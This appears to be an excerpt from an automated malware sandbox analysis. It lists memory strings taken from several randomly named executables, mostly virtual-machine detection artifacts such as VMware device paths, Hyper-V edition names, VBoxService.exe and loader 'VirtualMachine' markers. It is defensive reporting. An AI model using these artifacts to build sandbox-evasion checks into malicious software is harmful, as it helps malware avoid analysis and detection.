Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.1928792530.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}\|,
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2427239948.00000000010C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2314996126.00000000058C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_809B1C7F
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Hyper-V (guest)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000DE8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2236046585.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y:
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000DE8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.1928792146.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&0000
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000DE8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2236046585.0000000000E89000.00000004.00000020.00020000.00000000.sdmp, 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2236046585.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2210855058.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2210855058.0000000000E55000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.0000000001A0F000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.00000000019D8000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2427239948.0000000001102000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.1950696558.0000000001107000.00000004.00000020.00020000.00000000.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2286384754.000001F7DDCF6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2314996126.00000000058C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_809B1C7FCHARIOKl
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.1984746606.00000000019EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2427239948.000000000114C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}AAAAPA/GQAAAAAAAPA/GQAAAAAAAAAAGQAAAAAAAPA/GQAAAAAAAFlAGQAAAAAAAFlAGQAAAAAAAFlAGQAAAAAAAFlAGQAAAAAAAFlAGQAAAAAAAFlAGQAAAAAAAFlAGQAAAAAAAFlAGQAAAAAAAFlAGQAAAAAAAAAAGQAAAAAAAFlAGQAAAAAAAFlAGQAAAAAAAFlAGQAAAAAAAPA/GQAAAAAAAPA/egIIAIIBAhgA","saved_system_profile_hash":"FAB2367E1BD005C9231F8A5D7C280E2705413375","session_end_completed":true,"stats_buildtime":"1695934310","stats_version":"117.0.2045.47-64","system_crash_count":0}},"variations_compressed_seed":"H4sIAAAAAAAAAI1Ua2+bMBT9K5G/DjRjnom0D3mQrlvSRoEu1dZqcsChlggg2+TRKv+915BlSptq++Z7fM/xuceYFxQOI9R7QeEuyeuUhTvFREHzYVmseHadyutiUmaop0TNDNSiAMRUZEyhHmJpxn5LRZc5QwcDhVCOuZBqXhdatRJsPA+nZUpzugLl29tBqHFWaMaYUVULJlHvF1pLzZ0JNqF1kTwBq38iPILyXX9Yriuq+JLnXO3HfDfiUouk41L8mMqPVP/Juyz+/3Ig8GbwNiWt8J3nudwqnjzp/Ru2HbENT3QkejdtjbxP4dQYPZXbOdtSkcooEYwVyICWIwIqERMbJkaCb2BLDxI2lidlQvPZQDutFXgtixHl+R6sfRjTLegInrIzVszXLC4noI4eDVRRQdcM7kRTXlABBXwA1fIywUAbmte6A6NDY21dqf3lmN4bYmwlkjbZiGVrVrT6unmxCPt5Drormkt9jkyqVa0R3KyzGsL5U8BUzXJqe+6wFOycCQ4USOsUIWx5vrlgy/v4HBrwIjtH9DznyJQnopTlSt1JffYRhzm+Mpo22cFbiynMjR7QkNyslCNFn+7r+1H8+dPu28807i+vtj7x2T5aPPcHz12CKy/78oD0ebuKNxGhseBGhzidKd13CIYFDnoO6Tm4czWNm9nqQon9sEz1HdxFAEUQYi2PCMFYuzq+81HrS/8K0MycmxYOiOtj0zIty5iZI9MhdhCYxPTQ20fe9lvEx75leqblGi2AIXIQCMygBTCxfEtL2Ba6/F5aJeLYbjeAk52jkBc4vg31URj7buC5UPvo7cdxtOJ2u4H7l2BZdtdyTeK2s2iJbmDbDnR4Te152NcH2qfKP7E9HAQEKtJUjo2bqu10iO9oFYIOh1faPlxqSAUAAA==","variations_country":"US","variations_crash_streak":0,"variations_failed_to_fetch_seed_streak":1,"variations_google_groups":{"Default":[]},"variations_last_fetch_time":"13361010160568302","variations_permanent_consistency_country":["117.0.2045.47","US"],"variations_seed_client_version_at_store":"117.0.2045.47","variations_seed_date":"13361010159000000","variations_seed_etag":"\"C2Nft4srAayuXDT/+xJZdTAbGw727eySWzABz920p6g=\"","variations_seed_milestone":117,"variat
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002DB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.1928792530.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}.?
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: svchost.exe, 00000001.00000003.1666472063.000002BC05C44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2236046585.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}h-
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2427239948.0000000001060000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: svchost.exe, 00000001.00000003.1666086277.000002BC05C44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: xVBoxService.exe
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2236046585.0000000000E30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&^-
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.1928635661.00000000010CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}u
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.0000000001A0F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW,
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2210855058.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWR
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.1928635661.00000000010CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2427239948.00000000010B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: VBoxService.exe
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2236046585.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: svchost.exe, 00000003.00000002.1989086353.0000021A6E602000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
